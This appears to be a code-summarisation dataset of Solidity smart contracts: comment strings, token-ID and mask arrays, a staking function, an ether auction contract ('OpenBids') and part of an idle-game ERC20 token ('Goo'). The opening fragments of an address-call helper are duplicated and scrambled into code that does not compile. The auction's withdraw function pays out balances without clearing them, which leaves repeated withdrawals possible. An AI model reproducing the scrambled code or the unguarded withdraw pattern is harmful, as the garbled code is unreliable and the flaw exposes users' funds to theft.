return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
} else {
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
if (success) {
return returndata;
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
revert(errorMessage);
}
}
}
} else {
}
| 16,514,850 | [
1,
2532,
434,
4186,
3746,
358,
326,
1758,
618,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
5267,
288,
203,
683,
9454,
18035,
560,
374,
18,
26,
18,
2138,
31,
203,
203,
203,
565,
445,
353,
8924,
12,
2867,
2236,
13,
2713,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
1731,
1578,
981,
2816,
31,
203,
3639,
1731,
1578,
2236,
2310,
273,
374,
6511,
25,
72,
3247,
26,
1611,
5292,
74,
9060,
3707,
71,
29,
5324,
73,
27,
1966,
22,
72,
952,
27,
4630,
71,
20,
73,
12483,
70,
26,
8643,
5353,
24532,
9036,
70,
27,
17156,
361,
28,
3028,
25,
72,
7140,
69,
24,
7301,
31,
203,
3639,
327,
261,
710,
2816,
480,
2236,
2310,
597,
981,
2816,
480,
374,
92,
20,
1769,
203,
565,
289,
203,
203,
3639,
19931,
288,
981,
2816,
519,
1110,
710,
2816,
12,
4631,
13,
289,
203,
565,
445,
1366,
620,
12,
2867,
8843,
429,
8027,
16,
2254,
5034,
3844,
13,
2713,
288,
203,
3639,
2583,
12,
2867,
12,
2211,
2934,
12296,
1545,
3844,
16,
315,
1887,
30,
2763,
11339,
11013,
8863,
203,
203,
3639,
2583,
12,
4768,
16,
315,
1887,
30,
13496,
358,
1366,
460,
16,
8027,
2026,
1240,
15226,
329,
8863,
203,
565,
289,
203,
203,
3639,
261,
6430,
2216,
16,
262,
273,
8027,
18,
1991,
95,
460,
30,
3844,
289,
2932,
8863,
203,
565,
445,
445,
1477,
12,
2867,
1018,
16,
1731,
3778,
501,
13,
2713,
1135,
261,
3890,
3778,
13,
288,
203,
1377,
327,
445,
1477,
12,
3299,
16,
501,
16,
315,
1887,
30,
4587,
17,
2815,
745,
2535,
8863,
203,
565,
289,
203,
203,
565,
445,
445,
1477,
12,
2
] |
./full_match/5/0x9B65F6C78101c2E81E7aE0ff832377FB7D27Bc89/sources/contracts/Staking.sol | If address already has ERC721 Token/s staked, calculate the rewards. For every new Token Id in param transferFrom user to this Smart Contract, increment the amountStaked and map msg.sender to the Token Id of the staked Token to later send back on withdrawal. Finally give timeOfLastUpdate the value of now. Transfer the token from the wallet to the Smart contract Add the token to the stakedTokens array | function stake(uint256[] calldata _tokenIds) external {
require(_tokenIds.length != 0, "Staking: No tokenIds provided");
for (uint256 i; i < _tokenIds.length; ++i) {
require(
nftCollection.ownerOf(_tokenIds[i]) == msg.sender,
"Ownable: caller is not the owner"
);
nftCollection.transferFrom(msg.sender, address(this), _tokenIds[i]);
StakedAsset memory stakedAsset = StakedAsset(msg.sender, _tokenIds[i], block.timestamp, rewardPerToken,0,true, 0 );
stakeholders[msg.sender].stakedAssets.push(stakedAsset);
stakedAssets[_tokenIds[i]] = stakedAsset;
}
}
| 7,059,044 | [
1,
2047,
1758,
1818,
711,
4232,
39,
27,
5340,
3155,
19,
87,
384,
9477,
16,
4604,
326,
283,
6397,
18,
2457,
3614,
394,
3155,
3124,
316,
579,
7412,
1265,
729,
358,
333,
19656,
13456,
16,
5504,
326,
3844,
510,
9477,
471,
852,
1234,
18,
15330,
358,
326,
3155,
3124,
434,
326,
384,
9477,
3155,
358,
5137,
1366,
1473,
603,
598,
9446,
287,
18,
15768,
8492,
813,
951,
3024,
1891,
326,
460,
434,
2037,
18,
12279,
326,
1147,
628,
326,
9230,
358,
326,
19656,
6835,
1436,
326,
1147,
358,
326,
384,
9477,
5157,
526,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
384,
911,
12,
11890,
5034,
8526,
745,
892,
389,
2316,
2673,
13,
3903,
288,
203,
3639,
2583,
24899,
2316,
2673,
18,
2469,
480,
374,
16,
315,
510,
6159,
30,
2631,
1147,
2673,
2112,
8863,
203,
203,
3639,
364,
261,
11890,
5034,
277,
31,
277,
411,
389,
2316,
2673,
18,
2469,
31,
965,
77,
13,
288,
203,
5411,
2583,
12,
203,
7734,
290,
1222,
2532,
18,
8443,
951,
24899,
2316,
2673,
63,
77,
5717,
422,
1234,
18,
15330,
16,
203,
7734,
315,
5460,
429,
30,
4894,
353,
486,
326,
3410,
6,
203,
5411,
11272,
203,
203,
5411,
290,
1222,
2532,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
389,
2316,
2673,
63,
77,
19226,
203,
203,
5411,
934,
9477,
6672,
3778,
384,
9477,
6672,
273,
934,
9477,
6672,
12,
3576,
18,
15330,
16,
389,
2316,
2673,
63,
77,
6487,
1203,
18,
5508,
16,
19890,
2173,
1345,
16,
20,
16,
3767,
16,
374,
11272,
203,
5411,
384,
911,
9000,
63,
3576,
18,
15330,
8009,
334,
9477,
10726,
18,
6206,
12,
334,
9477,
6672,
1769,
203,
5411,
384,
9477,
10726,
63,
67,
2316,
2673,
63,
77,
13563,
273,
384,
9477,
6672,
31,
203,
3639,
289,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.13;
import './math/SafeMath.sol';
import './time/Clock.sol';
import './FiatBase.sol';
import './ownership/Ownable.sol';
import './LibSort.sol';
contract OpenBids is Ownable {
using SafeMath for uint256;
// beware: constant is not enforced
uint constant uintMAX = 2**256-1;
struct Bid {
address bidder;
uint fiat; // amount of FTCs/fiat
uint rate; // FTC/ETH rate paid. how much fiat is 1 ether
uint deposit; // total ETH amount paid = fiat*rate
bool isWinner;
uint next; // linked list: next item
uint previous; // linked list: previous item
}
struct DoublyLinkedList {
Bid[] list; // why can I not include the 'storage' identifier?
uint head;
uint tail;
}
struct BidderAllowance {
uint fiat;
uint eth;
}
mapping(address => uint[]) public bidsMap;
address[] addressList;
DoublyLinkedList bids;
mapping(address => BidderAllowance) public biddersAllowances;
// Parameters of the auction. Times are either
// absolute unix timestamps (seconds since 1970-01-01)
// or time periods in seconds.
FiatBase fiatcoin;
LibSort libsort;
address public beneficiary;
uint public auctionStart;
uint public biddingTime;
uint public minimumEth;
// the FTC funds for this bid.
// fiatcoin.balanceOf(this) should be at least this amount
uint public amountFiat;
uint public cummulativeBidFiat;
uint public finalRate;
bool public ended;
// Clock object, abstracted in order to enable testing
Clock public clock;
// Events that will be fired on changes.
event NewBid(address bidder, uint fiat, uint rate, uint deposit);
event AuctionEnded(uint ftcEthRate);
event AnnounceWinner(address winner, uint fiat);
event SetAllowance(uint fiatBidAllowance, uint etherBidAllowance, uint bidDeposit);
// The following is a so-called natspec comment,
// recognizable by the three slashes.
// It will be shown when the user is asked to
// confirm a transaction.
/// Create a simple auction with `_biddingTime`
/// seconds bidding time on behalf of the
/// beneficiary address `_beneficiary`.
function OpenBids(
address _fiatcoin,
uint _biddingTime,
address _beneficiary,
address _clock,
uint _minimumEth,
uint _amountFiat
) {
// interpret this address as a FiatBase contract instances
fiatcoin = FiatBase(_fiatcoin);
libsort = new LibSort();
beneficiary = _beneficiary;
biddingTime = _biddingTime;
clock = Clock(_clock);
uint time_now = clock.get_time();
auctionStart = time_now;
minimumEth = _minimumEth;
amountFiat = _amountFiat;
cummulativeBidFiat = 0;
finalRate = 0;
ended = false;
}
function getBidsLength() returns (uint256) {
return bids.list.length;
}
//function getBid(uint index) returns (address bidder, uint fiat, uint rate, uint deposit, bool isWinner, uint next, uint previous) {
function getBid(uint index) returns (uint previous) {
require(index <= bids.list.length);
Bid b = bids.list[index];
return (b.previous);
}
function searchAddress(address addr) internal returns (bool) {
bool ret = false;
for (uint i = 0; i < addressList.length; i++) {
if (addr == addressList[i]) {
ret = true;
break;
}
}
return ret;
}
/// Bid on the auction with the value sent
/// together with this transaction.
/// The value will only be refunded if the
/// auction is not won.
function bid(uint _fiat) payable {
require(minimumEth <= msg.value);
uint balanceThis = fiatcoin.balanceOf(this);
require(amountFiat <= balanceThis);
require(false == ended);
uint time_now = clock.get_time();
// The keyword payable
// is required for the function to
// be able to receive Ether.
require(time_now >= auctionStart );
// Revert the call if the bidding
// period is over.
require(time_now <= (auctionStart + biddingTime));
uint _rate = SafeMath.div(SafeMath.mul(1 ether, _fiat), msg.value);
require(_rate > 0);
if (!searchAddress(msg.sender)) {
addressList.push(msg.sender);
}
uint bidIndex = bids.list.push(Bid({
bidder: msg.sender,
fiat: _fiat,
rate: _rate,
deposit: msg.value,
isWinner: false,
next: uintMAX,
previous: bids.list.length - 1
})) - 1;
if (bidIndex > 0) {
bids.list[bidIndex -1].next = bidIndex;
}
else {
bids.list[bidIndex].previous = uintMAX;
}
bids.tail = bids.list.length - 1;
bidsMap[msg.sender].push(bidIndex);
cummulativeBidFiat += _fiat;
NewBid(msg.sender, _fiat, _rate, msg.value);
}
// orders first by rate (low to high) and second by fiat amount (high to low)
function quickSortBids() internal onlyOwner {
libsort.reset();
for (uint i = 0; i < bids.list.length; i++) {
libsort.push(i, bids.list[i].fiat);
}
libsort.sort(true); // sort by fiat (high to low)
uint idx;
uint vl;
for (i = 0; i < bids.list.length; i++) {
(idx, vl) = libsort.get(i);
libsort.setValue(i, bids.list[idx].rate);
}
libsort.sort(false); // sort by rate (low to high)
// create copy of bids
Bid[] memory copy = new Bid[](bids.list.length);
for (i = 0; i < bids.list.length; i++) {
copy[i] = bids.list[i];
}
// copy ordered bids
for (i = 0; i < bids.list.length; i++) {
(idx, vl) = libsort.get(i);
bids.list[i] = copy[idx];
}
}
// sets winners and returns FTC/ETH rate
function calculateWinners() internal onlyOwner returns (uint) {
uint maximumRateBid = 0; // maximum FTC/ETH (cheapest fiat)
// if there was a lack of bids, all bidders are winners
if (cummulativeBidFiat <= amountFiat) {
if (bids.list.length > 0) {
maximumRateBid = bids.list[0].rate;
for (uint i = 0; i < bids.list.length; i++) {
bids.list[i].isWinner = true;
AnnounceWinner(bids.list[i].bidder, bids.list[i].fiat);
if (bids.list[i].rate > maximumRateBid) {
maximumRateBid = bids.list[i].rate;
}
}
}
}
// there are more bids than necessary, some bidders won't win
else {
quickSortBids();
uint accumulatedFiatFinal = 0;
if (bids.list.length > 0) {
uint index = bids.head;
maximumRateBid = bids.list[index].rate;
while (accumulatedFiatFinal < amountFiat &&
index < bids.list.length) {
accumulatedFiatFinal += bids.list[index].fiat;
if (maximumRateBid < bids.list[index].rate) {
maximumRateBid = bids.list[index].rate;
}
bids.list[index].isWinner = true;
AnnounceWinner(bids.list[index].bidder, bids.list[index].fiat);
index = bids.list[index].next;
}
}
}
return maximumRateBid;
}
function setAllowances() internal onlyOwner {
if (bids.list.length > 0) {
uint index = bids.head;
uint accumulatedFiatFinal = 0;
uint fiatBalance = fiatcoin.balanceOf(this);
while (accumulatedFiatFinal < amountFiat &&
index < bids.list.length) {
Bid memory bid = bids.list[index];
if (true == bid.isWinner) {
uint fiatBidAllowance = 0;
if (accumulatedFiatFinal + bid.fiat > fiatBalance) {
fiatBidAllowance = fiatBalance - accumulatedFiatFinal;
} else {
fiatBidAllowance += bid.fiat;
}
biddersAllowances[bid.bidder].fiat += fiatBidAllowance;
accumulatedFiatFinal += fiatBidAllowance;
uint etherBidAllowance =
bid.deposit -
SafeMath.div(SafeMath.mul(1 ether, fiatBidAllowance), finalRate);
biddersAllowances[bid.bidder].eth += etherBidAllowance;
SetAllowance(fiatBidAllowance, etherBidAllowance, bid.deposit);
}
// not a winner, return all ether sent
else {
biddersAllowances[bid.bidder].eth += bid.deposit;
}
index = bid.next;
}
}
}
function withdraw() payable {
require(true == ended);
if (biddersAllowances[msg.sender].eth > 0) {
msg.sender.transfer(biddersAllowances[msg.sender].eth);
}
if (biddersAllowances[msg.sender].fiat > 0) {
fiatcoin.transfer(msg.sender, biddersAllowances[msg.sender].fiat);
}
}
/// End the auction and send the highest bid
/// to the beneficiary.
function auctionEnd() onlyOwner {
// It is a good guideline to structure functions that interact
// with other contracts (i.e. they call functions or send Ether)
// into three phases:
// 1. checking conditions
// 2. performing actions (potentially changing conditions)
// 3. interacting with other contracts
// If these phases are mixed up, the other contract could call
// back into the current contract and modify the state or cause
// effects (ether payout) to be performed multiple times.
// If functions called internally include interaction with external
// contracts, they also have to be considered interaction with
// external contracts.
// 1. Conditions
// auction should have ended
uint time_now = clock.get_time();
require(time_now >= (auctionStart + biddingTime));
// there should be enough FTC funds by now
require(amountFiat <= fiatcoin.balanceOf(this));
finalRate = calculateWinners();
setAllowances();
ended = true;
AuctionEnded(finalRate);
}
} | Bid on the auction with the value sent together with this transaction. The value will only be refunded if the auction is not won. The keyword payable is required for the function to be able to receive Ether. Revert the call if the bidding period is over. | function bid(uint _fiat) payable {
require(minimumEth <= msg.value);
uint balanceThis = fiatcoin.balanceOf(this);
require(amountFiat <= balanceThis);
require(false == ended);
uint time_now = clock.get_time();
require(time_now >= auctionStart );
require(time_now <= (auctionStart + biddingTime));
uint _rate = SafeMath.div(SafeMath.mul(1 ether, _fiat), msg.value);
require(_rate > 0);
if (!searchAddress(msg.sender)) {
addressList.push(msg.sender);
}
uint bidIndex = bids.list.push(Bid({
bidder: msg.sender,
fiat: _fiat,
rate: _rate,
deposit: msg.value,
isWinner: false,
next: uintMAX,
previous: bids.list.length - 1
})) - 1;
if (bidIndex > 0) {
bids.list[bidIndex -1].next = bidIndex;
}
else {
bids.list[bidIndex].previous = uintMAX;
}
bids.tail = bids.list.length - 1;
bidsMap[msg.sender].push(bidIndex);
cummulativeBidFiat += _fiat;
NewBid(msg.sender, _fiat, _rate, msg.value);
}
| 12,619,554 | [
1,
17763,
603,
326,
279,
4062,
598,
326,
460,
3271,
9475,
598,
333,
2492,
18,
1021,
460,
903,
1338,
506,
1278,
12254,
309,
326,
279,
4062,
353,
486,
8462,
18,
1021,
4932,
8843,
429,
353,
1931,
364,
326,
445,
358,
506,
7752,
358,
6798,
512,
1136,
18,
868,
1097,
326,
745,
309,
326,
324,
1873,
310,
3879,
353,
1879,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
9949,
12,
11890,
389,
22056,
270,
13,
8843,
429,
288,
203,
1377,
2583,
12,
15903,
41,
451,
1648,
1234,
18,
1132,
1769,
203,
1377,
2254,
11013,
2503,
273,
7314,
270,
12645,
18,
12296,
951,
12,
2211,
1769,
203,
1377,
2583,
12,
8949,
42,
77,
270,
1648,
11013,
2503,
1769,
203,
1377,
2583,
12,
5743,
422,
16926,
1769,
203,
1377,
2254,
813,
67,
3338,
273,
7268,
18,
588,
67,
957,
5621,
203,
203,
1377,
2583,
12,
957,
67,
3338,
1545,
279,
4062,
1685,
11272,
203,
1377,
2583,
12,
957,
67,
3338,
1648,
261,
69,
4062,
1685,
397,
324,
1873,
310,
950,
10019,
203,
203,
1377,
2254,
389,
5141,
273,
14060,
10477,
18,
2892,
12,
9890,
10477,
18,
16411,
12,
21,
225,
2437,
16,
389,
22056,
270,
3631,
1234,
18,
1132,
1769,
203,
1377,
2583,
24899,
5141,
405,
374,
1769,
203,
203,
1377,
309,
16051,
3072,
1887,
12,
3576,
18,
15330,
3719,
288,
203,
3639,
1758,
682,
18,
6206,
12,
3576,
18,
15330,
1769,
203,
1377,
289,
203,
1377,
2254,
9949,
1016,
273,
30534,
18,
1098,
18,
6206,
12,
17763,
12590,
203,
1850,
9949,
765,
30,
1234,
18,
15330,
16,
203,
1850,
7314,
270,
30,
389,
22056,
270,
16,
203,
1850,
4993,
30,
389,
5141,
16,
203,
1850,
443,
1724,
30,
1234,
18,
1132,
16,
203,
1850,
353,
59,
7872,
30,
629,
16,
203,
1850,
1024,
30,
2254,
6694,
16,
203,
1850,
2416,
30,
30534,
18,
1098,
18,
2469,
300,
404,
203,
1377,
289,
3719,
300,
404,
31,
203,
1377,
309,
261,
19773,
1016,
2
] |
pragma solidity ^0.4.0;
interface ERC20 {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// GOO - Crypto Idle Game
// https://ethergoo.io
contract Goo is ERC20 {
string public constant name = "IdleEth";
string public constant symbol = "Goo";
uint8 public constant decimals = 0;
uint256 private roughSupply;
uint256 public totalGooProduction;
address public owner; // Minor management of game
bool public gameStarted;
uint256 public researchDivPercent = 8;
uint256 public gooDepositDivPercent = 2;
uint256 public totalEtherGooResearchPool; // Eth dividends to be split between players' goo production
uint256[] private totalGooProductionSnapshots; // The total goo production for each prior day past
uint256[] private totalGooDepositSnapshots; // The total goo deposited for each prior day past
uint256[] private allocatedGooResearchSnapshots; // Div pot #1 (research eth allocated to each prior day past)
uint256[] private allocatedGooDepositSnapshots; // Div pot #2 (deposit eth allocated to each prior day past)
uint256 public nextSnapshotTime;
// Balances for each player
mapping(address => uint256) private ethBalance;
mapping(address => uint256) private gooBalance;
mapping(address => mapping(uint256 => uint256)) private gooProductionSnapshots; // Store player's goo production for given day (snapshot)
mapping(address => mapping(uint256 => uint256)) private gooDepositSnapshots; // Store player's goo deposited for given day (snapshot)
mapping(address => mapping(uint256 => bool)) private gooProductionZeroedSnapshots; // This isn't great but we need know difference between 0 production and an unused/inactive day.
mapping(address => uint256) private lastGooSaveTime; // Seconds (last time player claimed their produced goo)
mapping(address => uint256) public lastGooProductionUpdate; // Days (last snapshot player updated their production)
mapping(address => uint256) private lastGooResearchFundClaim; // Days (snapshot number)
mapping(address => uint256) private lastGooDepositFundClaim; // Days (snapshot number)
mapping(address => uint256) private battleCooldown; // If user attacks they cannot attack again for short time
// Stuff owned by each player
mapping(address => mapping(uint256 => uint256)) private unitsOwned;
mapping(address => mapping(uint256 => bool)) private upgradesOwned;
mapping(uint256 => address) private rareItemOwner;
mapping(uint256 => uint256) private rareItemPrice;
// Rares & Upgrades (Increase unit's production / attack etc.)
mapping(address => mapping(uint256 => uint256)) private unitGooProductionIncreases; // Adds to the goo per second
mapping(address => mapping(uint256 => uint256)) private unitGooProductionMultiplier; // Multiplies the goo per second
mapping(address => mapping(uint256 => uint256)) private unitAttackIncreases;
mapping(address => mapping(uint256 => uint256)) private unitAttackMultiplier;
mapping(address => mapping(uint256 => uint256)) private unitDefenseIncreases;
mapping(address => mapping(uint256 => uint256)) private unitDefenseMultiplier;
mapping(address => mapping(uint256 => uint256)) private unitGooStealingIncreases;
mapping(address => mapping(uint256 => uint256)) private unitGooStealingMultiplier;
mapping(address => mapping(uint256 => uint256)) private unitMaxCap;
// Mapping of approved ERC20 transfers (by player)
mapping(address => mapping(address => uint256)) private allowed;
mapping(address => bool) private protectedAddresses; // For npc exchanges (requires 0 goo production)
// Raffle structures
struct TicketPurchases {
TicketPurchase[] ticketsBought;
uint256 numPurchases; // Allows us to reset without clearing TicketPurchase[] (avoids potential for gas limit)
uint256 raffleId;
}
// Allows us to query winner without looping (avoiding potential for gas limit)
struct TicketPurchase {
uint256 startId;
uint256 endId;
}
// Raffle tickets
mapping(address => TicketPurchases) private rareItemTicketsBoughtByPlayer;
mapping(uint256 => address[]) private itemRafflePlayers;
// Duplicating for the two raffles is not ideal
mapping(address => TicketPurchases) private rareUnitTicketsBoughtByPlayer;
mapping(uint256 => address[]) private unitRafflePlayers;
// Item raffle info
uint256 private constant RAFFLE_TICKET_BASE_GOO_PRICE = 1000;
uint256 private itemRaffleEndTime;
uint256 private itemRaffleRareId;
uint256 private itemRaffleTicketsBought;
address private itemRaffleWinner; // Address of winner
bool private itemRaffleWinningTicketSelected;
uint256 private itemRaffleTicketThatWon;
// Unit raffle info
uint256 private unitRaffleEndTime;
uint256 private unitRaffleId; // Raffle Id
uint256 private unitRaffleRareId; // Unit Id
uint256 private unitRaffleTicketsBought;
address private unitRaffleWinner; // Address of winner
bool private unitRaffleWinningTicketSelected;
uint256 private unitRaffleTicketThatWon;
// Minor game events
event UnitBought(address player, uint256 unitId, uint256 amount);
event UnitSold(address player, uint256 unitId, uint256 amount);
event PlayerAttacked(address attacker, address target, bool success, uint256 gooStolen);
event ReferalGain(address player, address referal, uint256 amount);
event UpgradeMigration(address player, uint256 upgradeId, uint256 txProof);
GooGameConfig schema = GooGameConfig(0xf925a82b8c26520170c8d51b65a7def6364877b3);
// Constructor
function Goo() public payable {
owner = msg.sender;
}
function() payable {
// Fallback will donate to pot
totalEtherGooResearchPool += msg.value;
}
function beginGame(uint256 firstDivsTime) external payable {
require(msg.sender == owner);
require(!gameStarted);
gameStarted = true; // GO-OOOO!
nextSnapshotTime = firstDivsTime;
totalGooDepositSnapshots.push(0); // Add initial-zero snapshot
totalEtherGooResearchPool = msg.value; // Seed pot
}
// Incase community prefers goo deposit payments over production %, can be tweaked for balance
function tweakDailyDividends(uint256 newResearchPercent, uint256 newGooDepositPercent) external {
require(msg.sender == owner);
require(newResearchPercent > 0 && newResearchPercent <= 10);
require(newGooDepositPercent > 0 && newGooDepositPercent <= 10);
researchDivPercent = newResearchPercent;
gooDepositDivPercent = newGooDepositPercent;
}
function totalSupply() public constant returns(uint256) {
return roughSupply; // Stored goo (rough supply as it ignores earned/unclaimed goo)
}
function balanceOf(address player) public constant returns(uint256) {
return gooBalance[player] + balanceOfUnclaimedGoo(player);
}
function balanceOfUnclaimedGoo(address player) internal constant returns (uint256) {
uint256 lastSave = lastGooSaveTime[player];
if (lastSave > 0 && lastSave < block.timestamp) {
return (getGooProduction(player) * (block.timestamp - lastSave)) / 100;
}
return 0;
}
function etherBalanceOf(address player) public constant returns(uint256) {
return ethBalance[player];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
updatePlayersGoo(msg.sender);
require(amount <= gooBalance[msg.sender]);
gooBalance[msg.sender] -= amount;
gooBalance[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address player, address recipient, uint256 amount) public returns (bool) {
updatePlayersGoo(player);
require(amount <= allowed[player][msg.sender] && amount <= gooBalance[player]);
gooBalance[player] -= amount;
gooBalance[recipient] += amount;
allowed[player][msg.sender] -= amount;
emit Transfer(player, recipient, amount);
return true;
}
function approve(address approvee, uint256 amount) public returns (bool){
allowed[msg.sender][approvee] = amount;
emit Approval(msg.sender, approvee, amount);
return true;
}
function allowance(address player, address approvee) public constant returns(uint256){
return allowed[player][approvee];
}
function getGooProduction(address player) public constant returns (uint256){
return gooProductionSnapshots[player][lastGooProductionUpdate[player]];
}
function updatePlayersGoo(address player) internal {
uint256 gooGain = balanceOfUnclaimedGoo(player);
lastGooSaveTime[player] = block.timestamp;
roughSupply += gooGain;
gooBalance[player] += gooGain;
}
function updatePlayersGooFromPurchase(address player, uint256 purchaseCost) internal {
uint256 unclaimedGoo = balanceOfUnclaimedGoo(player);
if (purchaseCost > unclaimedGoo) {
uint256 gooDecrease = purchaseCost - unclaimedGoo;
require(gooBalance[player] >= gooDecrease);
roughSupply -= gooDecrease;
gooBalance[player] -= gooDecrease;
} else {
uint256 gooGain = unclaimedGoo - purchaseCost;
roughSupply += gooGain;
gooBalance[player] += gooGain;
}
lastGooSaveTime[player] = block.timestamp;
}
function increasePlayersGooProduction(address player, uint256 increase) internal {
gooProductionSnapshots[player][allocatedGooResearchSnapshots.length] = getGooProduction(player) + increase;
lastGooProductionUpdate[player] = allocatedGooResearchSnapshots.length;
totalGooProduction += increase;
}
function reducePlayersGooProduction(address player, uint256 decrease) internal {
uint256 previousProduction = getGooProduction(player);
uint256 newProduction = SafeMath.sub(previousProduction, decrease);
if (newProduction == 0) { // Special case which tangles with "inactive day" snapshots (claiming divs)
gooProductionZeroedSnapshots[player][allocatedGooResearchSnapshots.length] = true;
delete gooProductionSnapshots[player][allocatedGooResearchSnapshots.length]; // 0
} else {
gooProductionSnapshots[player][allocatedGooResearchSnapshots.length] = newProduction;
}
